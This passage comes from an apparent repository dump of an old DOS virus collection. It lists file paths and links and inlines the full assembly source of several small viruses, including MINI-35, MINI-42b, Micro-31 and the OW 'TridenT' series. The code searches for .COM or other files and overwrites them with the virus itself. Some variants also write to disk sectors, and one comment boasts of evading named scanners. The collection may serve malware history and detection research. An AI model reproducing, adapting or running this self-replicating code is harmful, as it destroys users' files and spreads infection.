noinf: ;rept ($-start+1) mod 4 92 | ;db 90h 93 | ;endm 94 | db 0EAh 95 | 96 | len=$-start 97 | end -------------------------------------------------------------------------------- /virus/m/mg3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mg3.asm -------------------------------------------------------------------------------- /virus/m/michel.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/michel.asm -------------------------------------------------------------------------------- /virus/m/micro29.asm: -------------------------------------------------------------------------------- 1 | ; ############################################################################# 2 | ; ### ### 3 | ; ### M i C R O 29 ### 4 | ; ### ### 5 | ; ### By ### 6 | ; ### ### 7 | ; ### Dreamer / Demoralized Youth ### 8 | ; ### ### 9 | ; ############################################################################# 10 | 11 | MOV AH,4Eh ;Dos Universal: FIND FIRST 12 | MOV DX,OFFSET PATT 13 | INT 21h 14 | MOV AX,3D02h ;Dos Universal: OPEN HANDLE 15 | MOV DX,9Eh 16 | INT 21h 17 | XCHG AX,BX 18 | MOV AH,40h ;Dos Universal: WRITE TO HANDLE 19 | ADD DX,62h 20 | INT 21h 21 | RET 22 | 23 | PATT DB '*.C*',0 24 |  -------------------------------------------------------------------------------- /virus/m/migram.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/migram.asm -------------------------------------------------------------------------------- /virus/m/mini-35.asm: -------------------------------------------------------------------------------- 1 | ; MINI-35 is Copyright (C) by Line Noise 1992... 2 | ; You are allowed to use this code in your own 3 | ; programs if you want, you are allowed to 4 | ; give this source away, sell it or whatever... 5 | ; None of the members of Line Noise should be held 6 | ; responsible for the consequences of the use 7 | ; of this program.... 8 | ; Use this program at your own risk... 9 | ; Iow if you use this code, you agree with the above... 10 | ; The MINI-35 is based upon the MINI-45 from bulgaria(?). 11 | ; If anybody manages to shrink the code even more then 12 | ; leave me(Dark Wolf) a message at your nearest Virus BBS... 13 | ; 14 | ; Greetings from Dark Wolf/Line Noise 15 | 16 | 17 | SEG_A SEGMENT BYTE PUBLIC 18 | ASSUME CS:SEG_A, DS:SEG_A 19 | 20 | 21 | ORG 100h 22 | 23 | MINI PROC 24 | 25 | START: 26 | MOV AH,4Eh 27 | MOV DX,OFFSET FMATCH ;address to file match 28 | INT 21h ;DOS int, ah=function 4Eh 29 | ;find 1st filenam match@DS:DX 30 | MOV AX,3D02h ;02=for read & write... 31 | MOV DX,9Eh ;address to filename... 32 | INT 21h ;DOS Services ah=function 3Dh 33 | ;open file, AL=mode,name@DS:DX 34 | XCHG AX,BX ;BX = handle now 35 | MOV DX,100h 36 | MOV AH,40h ;Function 40h, write file 37 | MOV CL,35 ;number of bytes to write 38 | INT 21h ;CX=bytes, to DS:DX 39 | ;BX=file handle 40 | 41 | MOV AH,3Eh ;function 3Eh, close file 42 | INT 21h ;BX=file handle 43 | 44 | RETN 45 | 46 | FMATCH: DB '*.C*',0 ;The virus didn't want to 47 | ;work when I changed this 48 | ;to *.* or *... 49 | ;WHY NOT?! Anybody gotta 50 | ;hint on this?! 51 | 52 | MINI ENDP 53 | 54 | SEG_A ENDS 55 | 56 | 57 | 58 | END START 59 |  -------------------------------------------------------------------------------- /virus/m/mini-42b.asm: -------------------------------------------------------------------------------- 1 | .model tiny ;Sets memory model for TASM 2 | .radix 16 ;Sets default number system to hexidecimal (base 16) 3 | .code ;starts code section 4 | 5 | org 100 ;makes program begin at 100h, i.e. a .COM file 6 | 7 | start: ;beginning label 8 | 9 | mov ah,4e ;set ah to 4e, sets function called by int 21 10 | ;to find first match 11 | mov dx,offset file_mask ;sets search to look for *.com 12 | 13 | search: 14 | int 21 ;executes find first match function 15 | jc quit ;if there aren't any files, ends 16 | 17 | 18 | mov ax,3d02 ;open file read/write mode 19 | mov dx,9e ;pointer to name found by findfirst 20 | int 21 21 | 22 | xchg ax,bx ;moves file handle to bx from ax 23 | mov ah,40 ;sets ah to write to file function 24 | mov cl,[ender-start] ;overwrites file 25 | mov dx,100 ;starting address for coms, write from 26 | int 21 ;beginning of virus 27 | 28 | 29 | mov ah,3e 30 | int 21 ;closes file handle 31 | 32 | mov ah,4f 33 | jmp short search ;jumps back set to find next 34 | 35 | quit: 36 | int 20 ;ends program 37 | 38 | file_mask db '*.c*',0 ;file mask to match to programs 39 | 40 | ender: ;label for size calculation 41 | 42 | end start ;end of code 43 | -------------------------------------------------------------------------------- /virus/m/mini111.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mini111.asm -------------------------------------------------------------------------------- /virus/m/mini357.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mini357.asm -------------------------------------------------------------------------------- /virus/m/mini91.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mini91.asm -------------------------------------------------------------------------------- /virus/m/mini98.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mini98.asm -------------------------------------------------------------------------------- /virus/m/mini99.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mini99.asm -------------------------------------------------------------------------------- /virus/m/mit.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mit.asm -------------------------------------------------------------------------------- /virus/m/mk-chart.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mk-chart.txt -------------------------------------------------------------------------------- /virus/m/mkvirlst.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mkvirlst.txt -------------------------------------------------------------------------------- /virus/m/ml_366a.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/ml_366a.asm -------------------------------------------------------------------------------- /virus/m/monxla.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/monxla.asm -------------------------------------------------------------------------------- /virus/m/morgoth.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/morgoth.asm -------------------------------------------------------------------------------- /virus/m/mortir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mortir.asm -------------------------------------------------------------------------------- /virus/m/mte.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mte.asm -------------------------------------------------------------------------------- /virus/m/mte2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mte2.asm -------------------------------------------------------------------------------- /virus/m/muad'dib.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/muad'dib.asm -------------------------------------------------------------------------------- /virus/m/murphexe.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/murphexe.asm -------------------------------------------------------------------------------- /virus/m/mutate.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/m/mutate.asm -------------------------------------------------------------------------------- /virus/n/naktruth.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/naktruth.asm -------------------------------------------------------------------------------- /virus/n/nav.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/nav.asm -------------------------------------------------------------------------------- /virus/n/nec_20_u.inc: -------------------------------------------------------------------------------- 1 | ;[Death Virii Crew] Presents 2 | ;CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997 3 | 4 | brkem macro inter 5 | db 0fh,0ffh,inter 6 | endm brkem 7 | 8 | retem macro 9 | db 0edh,0fdh 10 | endm retem 11 | 12 | int86 macro oper8 13 | db 0edh,0edh 14 | db oper8 15 | endm 16 | 17 | int21h macro _ax,_cx,_dx 18 | 19 | _lxi_b _ax 20 | _push_b 21 | _lxi_b _cx 22 | _push_b 23 | _lxi_b _dx 24 | _push_b 25 | int86 88h 26 | 27 | endm 28 | 29 | ; (c) by Reminder [DVC] 30 | 31 | -------------------------------------------------------------------------------- /virus/n/ned09.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/ned09.asm -------------------------------------------------------------------------------- /virus/n/never.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/never.zip -------------------------------------------------------------------------------- /virus/n/newc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/newc.asm -------------------------------------------------------------------------------- /virus/n/newzland.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/newzland.asm -------------------------------------------------------------------------------- /virus/n/newzlnd2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/newzlnd2.asm -------------------------------------------------------------------------------- /virus/n/nhackerf.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/nhackerf.asm -------------------------------------------------------------------------------- /virus/n/nihilist.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/nihilist.asm -------------------------------------------------------------------------------- /virus/n/nomncltr.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/nomncltr.asm -------------------------------------------------------------------------------- /virus/n/npox-v21.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/npox-v21.asm -------------------------------------------------------------------------------- /virus/n/npox21.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/npox21.asm -------------------------------------------------------------------------------- /virus/n/nukevir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/nukevir.asm -------------------------------------------------------------------------------- /virus/n/nymphmit.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/n/nymphmit.asm -------------------------------------------------------------------------------- /virus/o/offspr89.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/o/offspr89.asm -------------------------------------------------------------------------------- /virus/o/ogre.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/o/ogre.asm -------------------------------------------------------------------------------- /virus/o/olo.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/o/olo.asm -------------------------------------------------------------------------------- /virus/o/omega.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/o/omega.asm -------------------------------------------------------------------------------- /virus/o/one-13.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/o/one-13.asm -------------------------------------------------------------------------------- /virus/o/one_half.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/o/one_half.asm -------------------------------------------------------------------------------- /virus/o/ow-27.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | Lea Dx,FileSpec 3 | Int 21h 4 | Mov Ah,3ch 5 | Mov Dx,9eh 6 | On2: Int 21h 7 | Mov Dl,Length 8 | FileSpec Db '*.*',0 9 | Mov Bh,40h 10 | Xchg Cx,Dx 11 | Xchg Ax,Bx 12 | Jmp On2 13 | Length Equ $-Main 14 | -------------------------------------------------------------------------------- /virus/o/ow-27b.asm: -------------------------------------------------------------------------------- 1 | Lea Dx,Fs 2 | Mov Ah,78 3 | Int 33 4 | Mov Dx,9eh 5 | Mov Ah,61 6 | o1: Int 33 7 | Xchg Ax,Bx 8 | Mov Dl,27 9 | FS Db '*.*',0 10 | Xchg Cx,Dx 11 | Mov Ah,64 12 | Jmp o1 13 | -------------------------------------------------------------------------------- /virus/o/ow-28.asm: -------------------------------------------------------------------------------- 1 | Main: Lea Dx,FileSpec 2 | Mov Ah,4eh 3 | Int 21h 4 | Mov Dx,9eh 5 | Mov Ah,3ch 6 | Int 21h 7 | Lea Dx,Main 8 | Mov Bh,40h 9 | Mov Cl,Length 10 | Xchg Ax,Bx 11 | Int 21h 12 | FileSpec Db '*.*',0 13 | Length Equ $-Main 14 | -------------------------------------------------------------------------------- /virus/o/ow-28b.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | Mov Ah,3ch 5 | Mov Dx,9eh 6 | Int 21h 7 | Mov Bh,40h 8 | Xchg Ax,Bx 9 | Lea Dx,Main 10 | Mov Cl,Length 11 | Int 21h 12 | FileSpec Db '*.*',0 13 | Length Equ $-Main 14 | -------------------------------------------------------------------------------- /virus/o/ow-30.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | Mov Ax,3d02h 5 | Mov Dx,9eh 6 | Int 21h 7 | Mov Bh,40h 8 | Xchg Ax,Bx 9 | Lea Dx,Main 10 | Mov Cl,Length 11 | Int 21h 12 | On1: Ret 13 | FileSpec Db '*.*',0 14 | Length Equ $-Main 15 | -------------------------------------------------------------------------------- /virus/o/ow-37.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | jc on1 5 | Mov Ah,3dh 6 | inc ax 7 | Mov Dx,9eh 8 | Int 21h 9 | Mov Bh,40h 10 | Xchg Ax,Bx 11 | Lea Dx,Main 12 | Mov Cl,Length 13 | Int 21h 14 | Mov Ah,4fh 15 | On1: Jmp On2 16 | FileSpec Db '*.COM',0 17 | Length Equ $-Main 18 | -------------------------------------------------------------------------------- /virus/o/ow-42.asm: -------------------------------------------------------------------------------- 1 | Main: 2 | Mov Ah,4eh 3 | On1: Lea Dx,FileSpec 4 | Int 21h 5 | Jc Ende 6 | Mov Ax,3d01h 7 | Mov Dx,9eh 8 | Int 21h 9 | Mov Bh,40h 10 | Lea Dx,Main 11 | Xchg Ax,Bx 12 | Mov Cl,Length 13 | Int 21h 14 | Mov Ah,3eh 15 | Int 21h 16 | Mov Ah,4fh 17 | Jmp On1 18 | FileSpec Db '*.com',0 19 | Ende: Ret 20 | Length Equ $-Main 21 | -------------------------------------------------------------------------------- /virus/o/ow-42b.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | jc on1 5 | Mov Ax,3d02h 6 | Mov Dx,9eh 7 | Int 21h 8 | Mov bh,40h 9 | Mov Cl,Length 10 | Lea Dx,Main 11 | Xchg Ax,Bx 12 | Int 21h 13 | Mov Ah,3eh 14 | Int 21h 15 | Mov Ah,4fh 16 | Jmp On2 17 | On1: Ret 18 | FileSpec Db '*.COM',0 19 | Length Equ $-Main 20 | -------------------------------------------------------------------------------- /virus/o/ow-64.asm: -------------------------------------------------------------------------------- 1 | Main: 2 | Mov Ah,4eh 3 | On1: Lea Dx,FileSpec 4 | Int 21h 5 | Jc On2 6 | Mov Ax,3d02h 7 | Mov Dx,9eh 8 | Int 21h 9 | Mov Bh,40h 10 | Lea Dx,Main 11 | Xchg Ax,Bx 12 | Mov Cl,Ah 13 | Int 21h 14 | Mov Ah,3eh 15 | Int 21h 16 | Mov Ah,4fh 17 | Jmp On1 18 | FileSpec Db '*.com',0 19 | Db 'Trident' 20 | On2: Mov Ah,2ch 21 | Int 21h 22 | Cmp Dl,10 23 | Ja Ende 24 | Mov Al,2 25 | Xor Dx,Dx 26 | Int 25h 27 | Ende: Ret 28 | Length Equ $-Main 29 | -------------------------------------------------------------------------------- /virus/o/ow0.asm: -------------------------------------------------------------------------------- 1 | Main: 2 | Mov Ah,4eh 3 | On1: Lea Dx,FileSpec 4 | Int 21h 5 | Jc On2 6 | Mov Ax,3d02h 7 | Mov Dx,9eh 8 | Int 21h 9 | Mov Bh,40h 10 | Lea Dx,Main 11 | Xchg Ax,Bx 12 | Mov Cl,Ah 13 | Int 21h 14 | Mov Ah,3eh 15 | Int 21h 16 | Mov Ah,4fh 17 | Jmp On1 18 | FileSpec Db '*.com',0 19 | Db 'Trident' 20 | On2: Mov Ah,2ch 21 | Int 21h 22 | Cmp Dl,10 23 | Ja Ende 24 | Mov Al,2 25 | Xor Dx,Dx 26 | Int 25h 27 | Ende: Ret 28 | Length Equ $-Main 29 | -------------------------------------------------------------------------------- /virus/o/ow1.asm: -------------------------------------------------------------------------------- 1 | Main: 2 | Mov Ah,4eh 3 | On1: Lea Dx,FileSpec 4 | Int 21h 5 | Jc Ende 6 | Mov Ax,3d01h 7 | Mov Dx,9eh 8 | Int 21h 9 | Mov Bh,40h 10 | Lea Dx,Main 11 | Xchg Ax,Bx 12 | Mov Cl,Length 13 | Int 21h 14 | Mov Ah,3eh 15 | Int 21h 16 | Mov Ah,4fh 17 | Jmp On1 18 | FileSpec Db '*.com',0 19 | Ende: Ret 20 | Length Equ $-Main 21 | -------------------------------------------------------------------------------- /virus/o/ow10.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Mini-25 3 | ; 4 | ; Overwrites the first file in a directory 5 | 6 | 7 | FNAM Equ 09eh 8 | 9 | Db '*.*',0 10 | Main: Mov Ah,4eh 11 | Mov Dx,Cx 12 | Int 21h 13 | Mov Ah,3ch 14 | Lea Dx,FNAM 15 | On2: Int 21h 16 | Mov Bh,40h 17 | Xchg Cx,Dx 18 | Xchg Ax,Bx 19 | Jmp On2 20 | Length Equ $-Main 21 | -------------------------------------------------------------------------------- /virus/o/ow2.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | jc on1 5 | Mov Ax,3d02h 6 | Mov Dx,9eh 7 | Int 21h 8 | Mov bh,40h 9 | Mov Cl,Length 10 | Lea Dx,Main 11 | Xchg Ax,Bx 12 | Int 21h 13 | Mov Ah,3eh 14 | Int 21h 15 | Mov Ah,4fh 16 | Jmp On2 17 | On1: Ret 18 | FileSpec Db '*.COM',0 19 | Length Equ $-Main 20 | -------------------------------------------------------------------------------- /virus/o/ow3.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | jc on1 5 | Mov Ah,3dh 6 | inc ax 7 | Mov Dx,9eh 8 | Int 21h 9 | Mov Bh,40h 10 | Xchg Ax,Bx 11 | Lea Dx,Main 12 | Mov Cl,Length 13 | Int 21h 14 | Mov Ah,4fh 15 | On1: Jmp On2 16 | FileSpec Db '*.COM',0 17 | Length Equ $-Main 18 | -------------------------------------------------------------------------------- /virus/o/ow4.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | Mov Ax,3d02h 5 | Mov Dx,9eh 6 | Int 21h 7 | Mov Bh,40h 8 | Xchg Ax,Bx 9 | Lea Dx,Main 10 | Mov Cl,Length 11 | Int 21h 12 | On1: Ret 13 | FileSpec Db '*.*',0 14 | Length Equ $-Main 15 | -------------------------------------------------------------------------------- /virus/o/ow5.asm: -------------------------------------------------------------------------------- 1 | Main: Lea Dx,FileSpec 2 | Mov Ah,4eh 3 | Int 21h 4 | Mov Dx,9eh 5 | Mov Ah,3ch 6 | Int 21h 7 | Lea Dx,Main 8 | Mov Bh,40h 9 | Mov Cl,Length 10 | Xchg Ax,Bx 11 | Int 21h 12 | FileSpec Db '*.*',0 13 | Length Equ $-Main 14 | -------------------------------------------------------------------------------- /virus/o/ow6.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | On2: Lea Dx,FileSpec 3 | Int 21h 4 | Mov Ah,3ch 5 | Mov Dx,9eh 6 | Int 21h 7 | Mov Bh,40h 8 | Xchg Ax,Bx 9 | Lea Dx,Main 10 | Mov Cl,Length 11 | Int 21h 12 | FileSpec Db '*.*',0 13 | Length Equ $-Main 14 | -------------------------------------------------------------------------------- /virus/o/ow7.asm: -------------------------------------------------------------------------------- 1 | Main: Mov Ah,4eh 2 | Lea Dx,FileSpec 3 | Int 21h 4 | Mov Ah,3ch 5 | Mov Dx,9eh 6 | On2: Int 21h 7 | Mov Dl,Length 8 | FileSpec Db '*.*',0 9 | Mov Bh,40h 10 | Xchg Cx,Dx 11 | Xchg Ax,Bx 12 | Jmp On2 13 | Length Equ $-Main 14 | -------------------------------------------------------------------------------- /virus/o/ow8.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Mini-25 3 | ; 4 | ; Overwrites the first file in a directory 5 | 6 | 7 | FNAM Equ 09eh 8 | 9 | Main: Mov Ah,4eh 10 | Lea Dx,FileSpec 11 | Int 21h 12 | Mov Ah,3ch 13 | Lea Dx,FNAM 14 | On2: Int 21h 15 | FileSpec Db '*.*',0 16 | Mov Bh,40h 17 | Xchg Cx,Dx 18 | Xchg Ax,Bx 19 | Jmp On2 20 | Length Equ $-Main 21 | -------------------------------------------------------------------------------- /virus/o/ow9.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Micro-31 3 | ; 4 | ; Infects as many files as there are handles aveable. It creates 158 byte 5 | ; file containing a replicating copy of the virus. The effective program 6 | ; length however is only 31 bytes. It can't be detected by Scan 99, TbScan 7 | ; and Gobbler II. 8 | ; 9 | 10 | FNAM Equ 09eh 11 | 12 | Main: Mov Ah,4eh 13 | Seek: Lea Dx,FileSpec 14 | Xor Cx,Cx 15 | Int 21h 16 | Do: Mov Ah,3ch 17 | Lea Dx,FNAM 18 | On2: Int 21h 19 | FileSpec Db '*.*',0 20 | Xchg Dx,Cx 21 | Mov Bh,40h 22 | Xchg Ax,Bx 23 | Int 21h 24 | Mov Ah,4fh 25 | Jmp Seek 26 | Length Equ $-Main 27 | -------------------------------------------------------------------------------- /virus/o/ow_42.asm: -------------------------------------------------------------------------------- 1 | ;OW-42 virus - TridenT group, edited for Crypt Newsletter 13 2 | ; 3 | 4 | 5 | CODE SEGMENT 6 | ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING 7 | 8 | org 0100h 9 | 10 | start: mov ah,4Eh ; find first file 11 | recurse: 12 | mov dx,0123h ; matching filemask, "*.*" 13 | int 21h 14 | 15 | 16 | db 72h,20h ;hand-coded jump on carry to 17 | ;exit if no more files found 18 | mov ax,3D01h 19 | mov dx,009Eh 20 | int 21h 21 | 22 | mov bh,40h 23 | mov dx,0100h ;starting from beginning 24 | xchg ax,bx ;put handle in ax 25 | mov cl,2Ah ;to write: 42 bytes of virus 26 | int 21h ;write the virus 27 | mov ah,3Eh ;close the file 28 | int 21h 29 | 30 | mov ah,4Fh ;find next file 31 | jmp Short recurse 32 | 33 | 34 | db "*.COM" ;file_mask 35 | dw 0C300h ;hand-coded return 36 | 37 | CODE ENDS 38 | END START 39 | 40 | -------------------------------------------------------------------------------- /virus/p/part.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/part.asm -------------------------------------------------------------------------------- /virus/p/passcom.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/passcom.asm -------------------------------------------------------------------------------- /virus/p/pcbb-11.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pcbb-11.asm -------------------------------------------------------------------------------- /virus/p/pcbb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pcbb.asm -------------------------------------------------------------------------------- /virus/p/pcbb3072.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pcbb3072.asm -------------------------------------------------------------------------------- /virus/p/pe#1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pe#1.asm -------------------------------------------------------------------------------- /virus/p/pebble.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pebble.asm -------------------------------------------------------------------------------- /virus/p/penis.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/penis.asm -------------------------------------------------------------------------------- /virus/p/pentagon.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pentagon.asm -------------------------------------------------------------------------------- /virus/p/pentagon.err: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pentagon.err -------------------------------------------------------------------------------- /virus/p/pet.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pet.asm -------------------------------------------------------------------------------- /virus/p/phoenix.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/phoenix.asm -------------------------------------------------------------------------------- /virus/p/pingpong.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pingpong.asm -------------------------------------------------------------------------------- /virus/p/pinworm.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pinworm.asm -------------------------------------------------------------------------------- /virus/p/playit.tpu: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/playit.tpu -------------------------------------------------------------------------------- /virus/p/plumbum.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/plumbum.asm -------------------------------------------------------------------------------- /virus/p/polimer.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/polimer.asm -------------------------------------------------------------------------------- /virus/p/prothd.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/prothd.asm -------------------------------------------------------------------------------- /virus/p/pw15.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pw15.asm -------------------------------------------------------------------------------- /virus/p/pw16.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pw16.asm -------------------------------------------------------------------------------- /virus/p/pw17.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/p/pw17.asm -------------------------------------------------------------------------------- /virus/q/qb.bas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/q/qb.bas -------------------------------------------------------------------------------- /virus/r/random.asm: -------------------------------------------------------------------------------- 